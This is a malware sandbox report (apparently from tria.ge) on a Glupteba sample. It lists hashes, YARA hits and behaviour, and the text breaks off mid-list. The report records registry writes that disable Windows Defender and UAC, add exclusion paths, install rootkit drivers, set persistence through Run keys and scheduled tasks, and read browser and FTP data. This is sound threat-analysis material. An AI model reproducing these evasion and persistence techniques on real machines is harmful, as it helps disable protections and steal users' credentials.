Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
148s -
max time network
153s -
platform
windows7_x64 -
resource
win7-20231023-en -
resource tags
arch:x64arch:x86image:win7-20231023-enlocale:en-usos:windows7-x64system -
submitted
19/11/2023, 21:49
Static task
static1
Behavioral task
behavioral1
Sample
f36fc8e0bb8eab645cf6b4876e588dc427575a4fb25db629598b29f1d9328756.exe
Resource
win7-20231023-en
General
-
Target
f36fc8e0bb8eab645cf6b4876e588dc427575a4fb25db629598b29f1d9328756.exe
-
Size
231KB
-
MD5
238ef24a5847077daa2bb119b43a1a76
-
SHA1
c9ad623744aea9196c90cb7b31408b20916d7b89
-
SHA256
f36fc8e0bb8eab645cf6b4876e588dc427575a4fb25db629598b29f1d9328756
-
SHA512
6b2ec5c4c8816c711e2cfee85ea929ebb6771e0448be24256022a31cade8535345a4650084411b0f939d05e55e7fb7a781c525a2e205c9bca8b66bdf23f70539
-
SSDEEP
6144:58n+yOLNc4zZSvbH/44PtYNaBBeVJR8uCxA5axHU:2nPOpSvD/X+pJR8uRD
Malware Config
Signatures
-
Glupteba payload 15 IoCs
resource yara_rule behavioral1/memory/760-161-0x0000000002A40000-0x000000000332B000-memory.dmp family_glupteba behavioral1/memory/760-163-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba behavioral1/memory/760-167-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba behavioral1/memory/760-188-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba behavioral1/memory/760-189-0x0000000002A40000-0x000000000332B000-memory.dmp family_glupteba behavioral1/memory/2408-249-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba behavioral1/memory/2408-338-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba behavioral1/memory/2304-377-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba behavioral1/memory/2304-425-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba behavioral1/memory/2304-481-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba behavioral1/memory/2304-501-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba behavioral1/memory/2304-514-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba behavioral1/memory/2304-595-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba behavioral1/memory/2304-597-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba behavioral1/memory/2304-598-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" f36fc8e0bb8eab645cf6b4876e588dc427575a4fb25db629598b29f1d9328756.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\WVcQpKJMvymSgqJu = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\NVRHnqqYuoKU2 = "0" schtasks.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\PxtQEfdrU = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" vfPRQtvnMOEhv5fKseYxY6p9.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\GdxvlpYGnipdDYEVdBR = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\WVcQpKJMvymSgqJu = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\YmqzWwwqxJQdhSTVN = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\f36fc8e0bb8eab645cf6b4876e588dc427575a4fb25db629598b29f1d9328756.exe = "0" f36fc8e0bb8eab645cf6b4876e588dc427575a4fb25db629598b29f1d9328756.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\YmqzWwwqxJQdhSTVN = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\WVcQpKJMvymSgqJu = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\PxtQEfdrU = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\wbWGHgMzMEUn = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" vfPRQtvnMOEhv5fKseYxY6p9.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\WVcQpKJMvymSgqJu = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\NVRHnqqYuoKU2 = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths f36fc8e0bb8eab645cf6b4876e588dc427575a4fb25db629598b29f1d9328756.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" vfPRQtvnMOEhv5fKseYxY6p9.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\GdxvlpYGnipdDYEVdBR = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\anbFGpaSVIJEC = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\wbWGHgMzMEUn = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\GpoJrohhsQtRLIVB = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" vfPRQtvnMOEhv5fKseYxY6p9.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" vfPRQtvnMOEhv5fKseYxY6p9.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\anbFGpaSVIJEC = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\GpoJrohhsQtRLIVB = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\vfPRQtvnMOEhv5fKseYxY6p9.exe = "0" vfPRQtvnMOEhv5fKseYxY6p9.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" vfPRQtvnMOEhv5fKseYxY6p9.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths schtasks.exe -
Modifies boot configuration data using bcdedit 14 IoCs
pid Process 732 bcdedit.exe 2740 bcdedit.exe 2688 bcdedit.exe 2772 bcdedit.exe 2188 bcdedit.exe 2800 bcdedit.exe 2776 bcdedit.exe 1112 bcdedit.exe 2364 bcdedit.exe 2152 bcdedit.exe 1508 bcdedit.exe 1400 bcdedit.exe 2460 bcdedit.exe 2640 bcdedit.exe -
Downloads MZ/PE file
-
Drops file in Drivers directory 1 IoCs
description ioc Process File created C:\Windows\system32\drivers\Winmon.sys csrss.exe -
Modifies Windows Firewall 1 TTPs 1 IoCs
pid Process 1952 netsh.exe -
Possible attempt to disable PatchGuard 2 TTPs
Rootkits can use kernel patching to embed themselves in an operating system.
-
Checks BIOS information in registry 2 TTPs 1 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion Install.exe -
Drops startup file 6 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\To5RgVluSRixNHJwZHkMTBOy.bat CasPol.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\u649wPYdGiQmDt4gFLpSK2Qn.bat CasPol.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qfkqedOzzPDMmTQHHN1esOKm.bat CasPol.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\2vOuMsZu9iypULa5AMfV5i9K.bat CasPol.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\S36Dy7GkdDHZVcpheHnPpXTJ.bat CasPol.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lzSXVDAimbucu7m7o2KrQr1Z.bat CasPol.exe -
Executes dropped EXE 18 IoCs
pid Process 2764 SxwB3d43GyBiFZjfw9Lfxhee.exe 2832 fAAjlOlAVbwufyfy6RCPI7Xj.exe 1572 UC87LjiZNAdFZHXnRUO9a05Z.exe 2000 RBAwg1V0S6w1eaXMCXatCAud.exe 760 vfPRQtvnMOEhv5fKseYxY6p9.exe 1116 Broom.exe 288 Install.exe 1500 Install.exe 2408 vfPRQtvnMOEhv5fKseYxY6p9.exe 2304 csrss.exe 1520 injector.exe 2352 patch.exe 2204 ufHYGna.exe 2596 dsefix.exe 2988 windefender.exe 2688 tor.exe 1752 windefender.exe 2884 sqEXvCV.exe -
Loads dropped DLL 41 IoCs
pid Process 3032 CasPol.exe 3032 CasPol.exe 3032 CasPol.exe 3032 CasPol.exe 1572 UC87LjiZNAdFZHXnRUO9a05Z.exe 1572 UC87LjiZNAdFZHXnRUO9a05Z.exe 1572 UC87LjiZNAdFZHXnRUO9a05Z.exe 3032 CasPol.exe 3032 CasPol.exe 3032 CasPol.exe 1572 UC87LjiZNAdFZHXnRUO9a05Z.exe 2832 fAAjlOlAVbwufyfy6RCPI7Xj.exe 288 Install.exe 288 Install.exe 288 Install.exe 2000 RBAwg1V0S6w1eaXMCXatCAud.exe 288 Install.exe 1500 Install.exe 1500 Install.exe 1500 Install.exe 2000 RBAwg1V0S6w1eaXMCXatCAud.exe 2408 vfPRQtvnMOEhv5fKseYxY6p9.exe 2408 vfPRQtvnMOEhv5fKseYxY6p9.exe 2304 csrss.exe 848 Process not Found 2352 patch.exe 2352 patch.exe 2352 patch.exe 2352 patch.exe 2352 patch.exe 2352 patch.exe 2352 patch.exe 2352 patch.exe 2304 csrss.exe 2688 tor.exe 2688 tor.exe 2688 tor.exe 2688 tor.exe 2688 tor.exe 2688 tor.exe 2688 tor.exe -
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
resource yara_rule behavioral1/files/0x0006000000016611-102.dat upx behavioral1/memory/2000-114-0x0000000000CE0000-0x0000000001209000-memory.dmp upx behavioral1/files/0x0006000000016611-108.dat upx behavioral1/files/0x0006000000016611-105.dat upx behavioral1/memory/2000-151-0x0000000000CE0000-0x0000000001209000-memory.dmp upx behavioral1/memory/2000-183-0x0000000000CE0000-0x0000000001209000-memory.dmp upx behavioral1/memory/2988-604-0x0000000000400000-0x00000000008DF000-memory.dmp upx -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" vfPRQtvnMOEhv5fKseYxY6p9.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" vfPRQtvnMOEhv5fKseYxY6p9.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\vfPRQtvnMOEhv5fKseYxY6p9.exe = "0" vfPRQtvnMOEhv5fKseYxY6p9.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" vfPRQtvnMOEhv5fKseYxY6p9.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions f36fc8e0bb8eab645cf6b4876e588dc427575a4fb25db629598b29f1d9328756.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\f36fc8e0bb8eab645cf6b4876e588dc427575a4fb25db629598b29f1d9328756.exe = "0" f36fc8e0bb8eab645cf6b4876e588dc427575a4fb25db629598b29f1d9328756.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" vfPRQtvnMOEhv5fKseYxY6p9.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" vfPRQtvnMOEhv5fKseYxY6p9.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" vfPRQtvnMOEhv5fKseYxY6p9.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths f36fc8e0bb8eab645cf6b4876e588dc427575a4fb25db629598b29f1d9328756.exe -
Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3618187007-3650799920-3290345941-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\"" vfPRQtvnMOEhv5fKseYxY6p9.exe Set value (str) \REGISTRY\USER\S-1-5-21-3618187007-3650799920-3290345941-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\"" csrss.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA f36fc8e0bb8eab645cf6b4876e588dc427575a4fb25db629598b29f1d9328756.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" f36fc8e0bb8eab645cf6b4876e588dc427575a4fb25db629598b29f1d9328756.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Manipulates WinMon driver. 1 IoCs
Roottkits write to WinMon to hide PIDs from being detected.
description ioc Process File opened for modification \??\WinMon csrss.exe -
Manipulates WinMonFS driver. 1 IoCs
Roottkits write to WinMonFS to hide directories/files from being detected.
description ioc Process File opened for modification \??\WinMonFS csrss.exe -
Drops file in System32 directory 9 IoCs
description ioc Process File created C:\Windows\system32\GroupPolicy\Machine\Registry.pol ufHYGna.exe File opened for modification C:\Windows\system32\GroupPolicy\gpt.ini ufHYGna.exe File opened for modification C:\Windows\system32\GroupPolicy\Machine\Registry.pol ufHYGna.exe File created C:\Windows\system32\GroupPolicy\gpt.ini Install.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat sqEXvCV.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 2872 set thread context of 3032 2872 f36fc8e0bb8eab645cf6b4876e588dc427575a4fb25db629598b29f1d9328756.exe 30 -
Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.
description ioc Process File opened (read-only) \??\VBoxMiniRdrDN vfPRQtvnMOEhv5fKseYxY6p9.exe -
Drops file in Program Files directory 5 IoCs
description ioc Process File created C:\Program Files (x86)\PxtQEfdrU\xLcIUR.dll sqEXvCV.exe File created C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi sqEXvCV.exe File opened for modification C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi sqEXvCV.exe File created C:\Program Files\Mozilla Firefox\browser\omni.ja.bak sqEXvCV.exe File opened for modification C:\Program Files\Mozilla Firefox\browser\omni.ja sqEXvCV.exe -
Drops file in Windows directory 8 IoCs
description ioc Process File created C:\Windows\Tasks\PhOAIbnrVHbfAsF.job schtasks.exe File created C:\Windows\Logs\CBS\CbsPersist_20231119215013.cab makecab.exe File opened for modification C:\Windows\rss vfPRQtvnMOEhv5fKseYxY6p9.exe File created C:\Windows\rss\csrss.exe vfPRQtvnMOEhv5fKseYxY6p9.exe File created C:\Windows\Tasks\bFvsKFifcttmubYYTU.job schtasks.exe File created C:\Windows\windefender.exe csrss.exe File opened for modification C:\Windows\windefender.exe csrss.exe File created C:\Windows\Tasks\uaXipkbyxrnNFDdtl.job schtasks.exe -
Launches sc.exe 2 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 1112 sc.exe 2792 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString SxwB3d43GyBiFZjfw9Lfxhee.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 SxwB3d43GyBiFZjfw9Lfxhee.exe -
Creates scheduled task(s) 1 TTPs 9 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2428 schtasks.exe 2156 schtasks.exe 2168 schtasks.exe 1656 schtasks.exe 1084 schtasks.exe 1676 schtasks.exe 1712 schtasks.exe 1516 schtasks.exe 2548 schtasks.exe -
Delays execution with timeout.exe 1 IoCs
pid Process 1476 timeout.exe -
Enumerates system info in registry 2 TTPs 2 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS Install.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName Install.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-451 = "Caucasus Daylight Time" vfPRQtvnMOEhv5fKseYxY6p9.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-751 = "Tonga Daylight Time" vfPRQtvnMOEhv5fKseYxY6p9.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-271 = "Greenwich Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-542 = "Myanmar Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-121 = "SA Pacific Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-282 = "Central Europe Standard Time" vfPRQtvnMOEhv5fKseYxY6p9.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-261 = "GMT Daylight Time" vfPRQtvnMOEhv5fKseYxY6p9.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-362 = "GTB Standard Time" vfPRQtvnMOEhv5fKseYxY6p9.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-522 = "N. Central Asia Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-12 = "Azores Standard Time" vfPRQtvnMOEhv5fKseYxY6p9.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-365 = "Middle East Standard Time" vfPRQtvnMOEhv5fKseYxY6p9.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-3 = "Microsoft Corporation" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-81 = "Atlantic Daylight Time" vfPRQtvnMOEhv5fKseYxY6p9.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-352 = "FLE Standard Time" vfPRQtvnMOEhv5fKseYxY6p9.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-622 = "Korea Standard Time" vfPRQtvnMOEhv5fKseYxY6p9.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-201 = "US Mountain Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-692 = "Tasmania Standard Time" vfPRQtvnMOEhv5fKseYxY6p9.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-101 = "Provides RD Gateway enforcement for NAP" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-82 = "Atlantic Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-452 = "Caucasus Standard Time" vfPRQtvnMOEhv5fKseYxY6p9.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-341 = "Egypt Daylight Time" vfPRQtvnMOEhv5fKseYxY6p9.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-211 = "Pacific Daylight Time" vfPRQtvnMOEhv5fKseYxY6p9.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-871 = "Pakistan Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-232 = "Hawaiian Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-621 = "Korea Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-911 = "Mauritius Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-871 = "Pakistan Daylight Time" vfPRQtvnMOEhv5fKseYxY6p9.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-361 = "GTB Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-872 = "Pakistan Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-449 = "Azerbaijan Standard Time" vfPRQtvnMOEhv5fKseYxY6p9.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-651 = "AUS Central Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-692 = "Tasmania Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-652 = "AUS Central Standard Time" vfPRQtvnMOEhv5fKseYxY6p9.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-431 = "Iran Daylight Time" vfPRQtvnMOEhv5fKseYxY6p9.exe Set value (str) 